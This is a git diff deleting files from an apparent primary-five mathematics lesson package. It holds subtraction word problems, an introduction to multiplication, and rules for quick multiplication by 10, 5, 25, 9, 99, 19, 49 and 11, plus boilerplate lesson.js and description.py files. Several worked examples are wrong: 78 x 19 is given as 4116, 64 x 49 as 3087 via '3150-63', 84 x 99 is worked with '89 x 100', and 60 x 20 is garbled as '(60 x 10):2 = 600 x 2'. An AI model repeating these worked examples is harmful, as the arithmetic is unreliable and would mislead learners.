- <br />
- <br />
- b)405,305 - 200,450=
- <br />
- <br />
- c)175,390 - 100,370=
- <br />
- <br />
- d)84,000 - 12,500=
- <br />
- <br />
- 2.Jonas had 248,000$.he wants to give their children the amount of money;Adam get 75,000$;Amir get 85,000$;Razia get 30,000$.how much money does Jonas leave with?
- <br />
- <br />
- 3.The school fees payment of Remera catholic 2 in first term is 65,000 rfws.A parent paid 25,000rfws for first shift.how much money does parent leave to pay in order to complete the school fees?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m04/map511m4a06/a.txt b/Save_Mathematics/P5/map511m04/map511m4a06/a.txt
deleted file mode 100644
index a823762..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a06/a.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-<p>
- 1.Subtract the following numbers using xo calculator :
- <br />
- a)987,899 - 769,897=
- <br />
- <br />
- b) 888,316 - 798,999=
- <br />
- <br />
- 2.A number increased by 90,456 gives 123,456.what is that number?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m04/map511m4a06/description.py b/Save_Mathematics/P5/map511m04/map511m4a06/description.py
deleted file mode 100644
index c6cba16..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m4a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m04/map511m4a06/lesson.js b/Save_Mathematics/P5/map511m04/map511m4a06/lesson.js
deleted file mode 100644
index 94fbafd..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m04/map511m4a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m04/map511m4a06/source.txt b/Save_Mathematics/P5/map511m04/map511m4a06/source.txt
deleted file mode 100644
index a823762..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a06/source.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-<p>
- 1.Subtract the following numbers using xo calculator :
- <br />
- a)987,899 - 769,897=
- <br />
- <br />
- b) 888,316 - 798,999=
- <br />
- <br />
- 2.A number increased by 90,456 gives 123,456.what is that number?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/activities.js b/Save_Mathematics/P5/map511m05/activities.js
deleted file mode 100755
index 8f529b0..0000000
--- a/Save_Mathematics/P5/map511m05/activities.js
+++ /dev/null
@@ -1,18 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m5a01','blue'],
-['2','2','map5','basic','map511m5a02','blue'],
-['3','3','map5','basic','map511m5a03','blue'],
-['4','4','map5','basic','map511m5a04','blue'],
-['5','5','map5','basic','map511m5a05','blue'],
-['6','6','map5','basic','map511m5a06','blue'],
-['7','7','map5','basic','map511m5a07','blue'],
-['8','8','map5','basic','map511m5a08','blue'],
-['9','9','map5','basic','map511m5a09','blue'],
-['10','10','map5','basic','map511m5a10','blue'],
-['11','11','map5','basic','map511m5a11','blue'],
-['12','12','map5','basic','map511m5a12','blue'],
-['13','13','map5','basic','map511m5a13','blue'],
-['14','14','map5','basic','map511m5a14','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m05/map511m5a01/a.txt b/Save_Mathematics/P5/map511m05/map511m5a01/a.txt
deleted file mode 100644
index 7979545..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a01/a.txt
+++ /dev/null
@@ -1,76 +0,0 @@
-<p>
- In human being life,we use
- <span style="font-weight: bold;">
-  MULTIPLICATION
- </span>
- in many cases.When adding two or more similar numbers we can use multiplication instead of using addition because Addition require a lot of time.
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1.Normal human being has two hands.Each hand contains five fingers.how many fingers does normal human being have altogether?
- <br />
- the number of fingers altogether=5+5=10fingers;instead of writing 5+5=10,we can write 5fingers x 2 =10 fingers;
- <br />
- here we use multiplication by two because we have two hands.
- <br />
- <br />
- 2.when calculating the addition of more similar numbers it will take a lot of time
- <br />
- but when we use multiplication it will take few time compare when using the addition.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  for examples
- </span>
- : 10+10+10+10=40;right
- <br />
- <br />
- So when using multiplication we can write 10x4=40;
- <br />
- <br />
- <br />
- 3.A lorry carries 100 crates.Each crate contains 24 bottles.how many bottles does a lorry carry?
- <br />
- all bottles carries by a lorry =24bottles x100 =2,400bottles
- <br />
- here when we use multiplication it will take a lot of time but by using multiplication it become very simple.
- <br />
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Meaning
- </span>
- :Multiplication is a product of a specific numbers with any other number.when we multiply two or more numbers the answer is called
- <span style="font-weight: bold; text-decoration: underline;">
-  PRODUCT
- </span>
- <br />
- <br />
- <br />
- when we write:
- <br />
- 100
- <br />
- <span style="text-decoration: underline;">
-  x24
- </span>
- <br />
- 2,400 100 is called
- <span style="font-weight: bold;">
-  multiplicand
- </span>
- <br />
- 24 is called
- <span style="font-weight: bold;">
-  multiplier
- </span>
- <br />
- 2400 is called
- <span style="font-weight: bold;">
-  product
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a01/description.py b/Save_Mathematics/P5/map511m05/map511m5a01/description.py
deleted file mode 100644
index d9362e7..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m5a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m05/map511m5a01/lesson.js b/Save_Mathematics/P5/map511m05/map511m5a01/lesson.js
deleted file mode 100644
index 6acad18..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m05/map511m5a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m05/map511m5a01/source.txt b/Save_Mathematics/P5/map511m05/map511m5a01/source.txt
deleted file mode 100644
index 7979545..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a01/source.txt
+++ /dev/null
@@ -1,76 +0,0 @@
-<p>
- In human being life,we use
- <span style="font-weight: bold;">
-  MULTIPLICATION
- </span>
- in many cases.When adding two or more similar numbers we can use multiplication instead of using addition because Addition require a lot of time.
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1.Normal human being has two hands.Each hand contains five fingers.how many fingers does normal human being have altogether?
- <br />
- the number of fingers altogether=5+5=10fingers;instead of writing 5+5=10,we can write 5fingers x 2 =10 fingers;
- <br />
- here we use multiplication by two because we have two hands.
- <br />
- <br />
- 2.when calculating the addition of more similar numbers it will take a lot of time
- <br />
- but when we use multiplication it will take few time compare when using the addition.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  for examples
- </span>
- : 10+10+10+10=40;right
- <br />
- <br />
- So when using multiplication we can write 10x4=40;
- <br />
- <br />
- <br />
- 3.A lorry carries 100 crates.Each crate contains 24 bottles.how many bottles does a lorry carry?
- <br />
- all bottles carries by a lorry =24bottles x100 =2,400bottles
- <br />
- here when we use multiplication it will take a lot of time but by using multiplication it become very simple.
- <br />
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Meaning
- </span>
- :Multiplication is a product of a specific numbers with any other number.when we multiply two or more numbers the answer is called
- <span style="font-weight: bold; text-decoration: underline;">
-  PRODUCT
- </span>
- <br />
- <br />
- <br />
- when we write:
- <br />
- 100
- <br />
- <span style="text-decoration: underline;">
-  x24
- </span>
- <br />
- 2,400 100 is called
- <span style="font-weight: bold;">
-  multiplicand
- </span>
- <br />
- 24 is called
- <span style="font-weight: bold;">
-  multiplier
- </span>
- <br />
- 2400 is called
- <span style="font-weight: bold;">
-  product
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a02/a.txt b/Save_Mathematics/P5/map511m05/map511m5a02/a.txt
deleted file mode 100644
index d5b98c2..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a02/a.txt
+++ /dev/null
@@ -1,82 +0,0 @@
-<p>
- multiplication by 2 digits numbers is a multiplication by which multiplier is made by 2 digits.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- 140
- <br />
- <span style="text-decoration: underline;">
-  x14
- </span>
- <br />
- <br />
- multiplication by ones
- <br />
- 40
- <br />
- x
- <span style="text-decoration: underline;">
-  4
- </span>
- first the multiplier = 14 =10 + 4;
- <br />
- 160 4=ones ;
- <br />
- 10=tens
- <br />
- <br />
- multiplication by tens
- <br />
- 40
- <br />
- x
- <span style="text-decoration: underline;">
-  10
- </span>
- <br />
- 400
- <br />
- by adding the result we get:
- <br />
- 160
- <br />
- +
- <span style="text-decoration: underline;">
-  400
- </span>
- <br />
- 560
- <br />
- <br />
- rule:to multiply by a two digits number,we multiply by ones first later by the tens and add the product got.
- <br />
- <br />
- <span style="text-decoration: underline;">
-  example
- </span>
- :
- <br />
- calculate
- <br />
- 62
- <br />
- x
- <span style="text-decoration: underline;">
-  12
- </span>
- <br />
- <br />
- 12=10+2;
- <br />
- multiplication by ones=62 x 2=124;
- <br />
- multiplication by tens=62 x 10=620;
- <br />
- the product =124 + 620 =744.
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a02/description.py b/Save_Mathematics/P5/map511m05/map511m5a02/description.py
deleted file mode 100644
index c67dcd7..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m5a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m05/map511m5a02/lesson.js b/Save_Mathematics/P5/map511m05/map511m5a02/lesson.js
deleted file mode 100644
index 0665d6d..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m05/map511m5a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m05/map511m5a02/source.txt b/Save_Mathematics/P5/map511m05/map511m5a02/source.txt
deleted file mode 100644
index d5b98c2..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a02/source.txt
+++ /dev/null
@@ -1,82 +0,0 @@
-<p>
- multiplication by 2 digits numbers is a multiplication by which multiplier is made by 2 digits.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- 140
- <br />
- <span style="text-decoration: underline;">
-  x14
- </span>
- <br />
- <br />
- multiplication by ones
- <br />
- 40
- <br />
- x
- <span style="text-decoration: underline;">
-  4
- </span>
- first the multiplier = 14 =10 + 4;
- <br />
- 160 4=ones ;
- <br />
- 10=tens
- <br />
- <br />
- multiplication by tens
- <br />
- 40
- <br />
- x
- <span style="text-decoration: underline;">
-  10
- </span>
- <br />
- 400
- <br />
- by adding the result we get:
- <br />
- 160
- <br />
- +
- <span style="text-decoration: underline;">
-  400
- </span>
- <br />
- 560
- <br />
- <br />
- rule:to multiply by a two digits number,we multiply by ones first later by the tens and add the product got.
- <br />
- <br />
- <span style="text-decoration: underline;">
-  example
- </span>
- :
- <br />
- calculate
- <br />
- 62
- <br />
- x
- <span style="text-decoration: underline;">
-  12
- </span>
- <br />
- <br />
- 12=10+2;
- <br />
- multiplication by ones=62 x 2=124;
- <br />
- multiplication by tens=62 x 10=620;
- <br />
- the product =124 + 620 =744.
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a03/a.txt b/Save_Mathematics/P5/map511m05/map511m5a03/a.txt
deleted file mode 100644
index 8adcacb..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a03/a.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-<p>
- Quick multiplication by 10;100;1000;means that when multiplying the result is coming automatically without using the calculator,or method listed above.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  examples
- </span>
- :
- <br />
- 1)104 x 10 = 1,040
- <br />
- <br />
- 2)201 x 10 = 2,010
- <br />
- <br />
- 3)109 x 100 =10,900
- <br />
- <br />
- 4)121 x 100 =12,100
- <br />
- <br />
- 5)11 x 1,000 =11,000
- <br />
- <br />
- 6)74 x 1,000 =74,000
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  rules
- </span>
- :
- <br />
- <br />
- 1.To multiply by 10,simply put one zero to the right of that number.
- <br />
- <br />
- 2.To multiply by 100,put two zeros to the right of that number.
- <br />
- <br />
- 3.To multiply by 1,000 put three zeros to the right of that number.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a03/description.py b/Save_Mathematics/P5/map511m05/map511m5a03/description.py
deleted file mode 100644
index 16c67c9..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m5a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m05/map511m5a03/lesson.js b/Save_Mathematics/P5/map511m05/map511m5a03/lesson.js
deleted file mode 100644
index 280a438..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m05/map511m5a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m05/map511m5a03/source.txt b/Save_Mathematics/P5/map511m05/map511m5a03/source.txt
deleted file mode 100644
index 8adcacb..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a03/source.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-<p>
- Quick multiplication by 10;100;1000;means that when multiplying the result is coming automatically without using the calculator,or method listed above.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  examples
- </span>
- :
- <br />
- 1)104 x 10 = 1,040
- <br />
- <br />
- 2)201 x 10 = 2,010
- <br />
- <br />
- 3)109 x 100 =10,900
- <br />
- <br />
- 4)121 x 100 =12,100
- <br />
- <br />
- 5)11 x 1,000 =11,000
- <br />
- <br />
- 6)74 x 1,000 =74,000
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  rules
- </span>
- :
- <br />
- <br />
- 1.To multiply by 10,simply put one zero to the right of that number.
- <br />
- <br />
- 2.To multiply by 100,put two zeros to the right of that number.
- <br />
- <br />
- 3.To multiply by 1,000 put three zeros to the right of that number.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a04/a.txt b/Save_Mathematics/P5/map511m05/map511m5a04/a.txt
deleted file mode 100644
index a81a75c..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a04/a.txt
+++ /dev/null
@@ -1,35 +0,0 @@
-<p>
- Quick multiplication by 5 and 50 means that when multiplying a number by 5 or 50,the product is coming automatically without using the calculator.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  examples
- </span>
- :
- <br />
- <br />
- 1)135 x 5 =(135 x 10):2
- <br />
- =1350:2
- <br />
- =675
- <br />
- <br />
- 2)74 x 50 =(74 x 100):2
- <br />
- =7400:2
- <br />
- =3700
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  rules
- </span>
- :
- <br />
- <br />
- 1.To multiply a number by 5,simply multiply by 10 then divide the product by 2;
- <br />
- <br />
- 2.To multiply a number by 50,simply multiply by 100 then divide the product by 2;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a04/description.py b/Save_Mathematics/P5/map511m05/map511m5a04/description.py
deleted file mode 100644
index 963aeeb..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m5a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m05/map511m5a04/lesson.js b/Save_Mathematics/P5/map511m05/map511m5a04/lesson.js
deleted file mode 100644
index bcc559b..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m05/map511m5a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m05/map511m5a04/source.txt b/Save_Mathematics/P5/map511m05/map511m5a04/source.txt
deleted file mode 100644
index a81a75c..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a04/source.txt
+++ /dev/null
@@ -1,35 +0,0 @@
-<p>
- Quick multiplication by 5 and 50 means that when multiplying a number by 5 or 50,the product is coming automatically without using the calculator.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  examples
- </span>
- :
- <br />
- <br />
- 1)135 x 5 =(135 x 10):2
- <br />
- =1350:2
- <br />
- =675
- <br />
- <br />
- 2)74 x 50 =(74 x 100):2
- <br />
- =7400:2
- <br />
- =3700
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  rules
- </span>
- :
- <br />
- <br />
- 1.To multiply a number by 5,simply multiply by 10 then divide the product by 2;
- <br />
- <br />
- 2.To multiply a number by 50,simply multiply by 100 then divide the product by 2;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a05/a.txt b/Save_Mathematics/P5/map511m05/map511m5a05/a.txt
deleted file mode 100644
index 9e5dc29..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a05/a.txt
+++ /dev/null
@@ -1,35 +0,0 @@
-<p>
- Quick multiplication by 20 and 25 means that when multiplying numbers by 20 and 25,the product is coming automatically without using calculator.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1)75 x 25 =(75 x 100):4
- <br />
- =7500:4
- <br />
- =1875
- <br />
- <br />
- 2)60 x 20 =(60 x 10):2
- <br />
- = 600 x 2
- <br />
- = 1,200
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  rules
- </span>
- :
- <br />
- <br />
- 1.To multiply a number by 20,simply multiply by 10 and then by 2.
- <br />
- <br />
- 2.To multiply a number by 25,multiply by 100 then divide by 4.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a05/description.py b/Save_Mathematics/P5/map511m05/map511m5a05/description.py
deleted file mode 100644
index 42ca214..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m5a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m05/map511m5a05/lesson.js b/Save_Mathematics/P5/map511m05/map511m5a05/lesson.js
deleted file mode 100644
index 204baca..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m05/map511m5a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m05/map511m5a05/source.txt b/Save_Mathematics/P5/map511m05/map511m5a05/source.txt
deleted file mode 100644
index 9e5dc29..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a05/source.txt
+++ /dev/null
@@ -1,35 +0,0 @@
-<p>
- Quick multiplication by 20 and 25 means that when multiplying numbers by 20 and 25,the product is coming automatically without using calculator.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1)75 x 25 =(75 x 100):4
- <br />
- =7500:4
- <br />
- =1875
- <br />
- <br />
- 2)60 x 20 =(60 x 10):2
- <br />
- = 600 x 2
- <br />
- = 1,200
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  rules
- </span>
- :
- <br />
- <br />
- 1.To multiply a number by 20,simply multiply by 10 and then by 2.
- <br />
- <br />
- 2.To multiply a number by 25,multiply by 100 then divide by 4.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a06/a.txt b/Save_Mathematics/P5/map511m05/map511m5a06/a.txt
deleted file mode 100644
index eeee98c..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a06/a.txt
+++ /dev/null
@@ -1,36 +0,0 @@
-<p>
- Quick multiplication by 9 and 99 means that when multiplying numbers by 9 or 99
- <br />
- the product is coming automatically without using a calculator.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1)84 x 9 =(84 x 10) - 84
- <br />
- =840-84
- <br />
- =756
- <br />
- <br />
- 2)84 x 99 =(89 x 100) -84
- <br />
- =8900 -84
- <br />
- =8316
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  rules
- </span>
- :
- <br />
- 1.To multiply numbers by 9,first multiply by 10 and subtract that number(multicand)
- <br />
- <br />
- 2.To multiply number by 99,first multiply by 100 and subtract that number(multicand)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a06/description.py b/Save_Mathematics/P5/map511m05/map511m5a06/description.py
deleted file mode 100644
index 419d6f7..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m5a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m05/map511m5a06/lesson.js b/Save_Mathematics/P5/map511m05/map511m5a06/lesson.js
deleted file mode 100644
index d449c6e..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m05/map511m5a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m05/map511m5a06/source.txt b/Save_Mathematics/P5/map511m05/map511m5a06/source.txt
deleted file mode 100644
index eeee98c..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a06/source.txt
+++ /dev/null
@@ -1,36 +0,0 @@
-<p>
- Quick multiplication by 9 and 99 means that when multiplying numbers by 9 or 99
- <br />
- the product is coming automatically without using a calculator.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1)84 x 9 =(84 x 10) - 84
- <br />
- =840-84
- <br />
- =756
- <br />
- <br />
- 2)84 x 99 =(89 x 100) -84
- <br />
- =8900 -84
- <br />
- =8316
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  rules
- </span>
- :
- <br />
- 1.To multiply numbers by 9,first multiply by 10 and subtract that number(multicand)
- <br />
- <br />
- 2.To multiply number by 99,first multiply by 100 and subtract that number(multicand)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a07/a.txt b/Save_Mathematics/P5/map511m05/map511m5a07/a.txt
deleted file mode 100644
index e9956a2..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a07/a.txt
+++ /dev/null
@@ -1,37 +0,0 @@
-<p>
- Quick multiplication by 19 and 49 means to get the product automatically without using the calculator.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1)78 x 19 =(78 x 20) -78
- <br />
- =1560-78
- <br />
- =4116
- <br />
- <br />
- 2)64 x 49 =(64 x50) -64
- <br />
- =[(64 x100):2]-64
- <br />
- =3150-63
- <br />
- =3087
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  rules
- </span>
- :
- <br />
- <br />
- 1.To multiply number by 19,multiply number by 20,then subtract the same number from the product.
- <br />
- <br />
- 2.To multiply number by 49,multiply the number by 50,then take away the same number from the product.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a07/description.py b/Save_Mathematics/P5/map511m05/map511m5a07/description.py
deleted file mode 100644
index 37e5698..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a07/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m5a07',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m05/map511m5a07/lesson.js b/Save_Mathematics/P5/map511m05/map511m5a07/lesson.js
deleted file mode 100644
index f0e4b7d..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a07/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m05/map511m5a07/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m05/map511m5a07/source.txt b/Save_Mathematics/P5/map511m05/map511m5a07/source.txt
deleted file mode 100644
index e9956a2..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a07/source.txt
+++ /dev/null
@@ -1,37 +0,0 @@
-<p>
- Quick multiplication by 19 and 49 means to get the product automatically without using the calculator.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1)78 x 19 =(78 x 20) -78
- <br />
- =1560-78
- <br />
- =4116
- <br />
- <br />
- 2)64 x 49 =(64 x50) -64
- <br />
- =[(64 x100):2]-64
- <br />
- =3150-63
- <br />
- =3087
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  rules
- </span>
- :
- <br />
- <br />
- 1.To multiply number by 19,multiply number by 20,then subtract the same number from the product.
- <br />
- <br />
- 2.To multiply number by 49,multiply the number by 50,then take away the same number from the product.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a08/a.txt b/Save_Mathematics/P5/map511m05/map511m5a08/a.txt
deleted file mode 100644
index e4c4dbc..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a08/a.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-<p>
- Quick multiplication by 11 means that when multiplying a number by 11 the product is coming automatically without using the calculator.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1)35 x 11 =(35 x 10) + 35
- <br />
- =350 + 35
- <br />
- =385
- <br />
- <br />
- 2)40 x 11 =(40 x 10) +40
- <br />
- =400 + 40
- <br />
- =440
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  rule
- </span>
- : To multiply number by 11,first multiply by 10 and add the multiplier
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a08/description.py b/Save_Mathematics/P5/map511m05/map511m5a08/description.py
deleted file mode 100644
index f457f16..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a08/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m5a08',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m05/map511m5a08/lesson.js b/Save_Mathematics/P5/map511m05/map511m5a08/lesson.js
deleted file mode 100644
index 162d10f..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a08/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
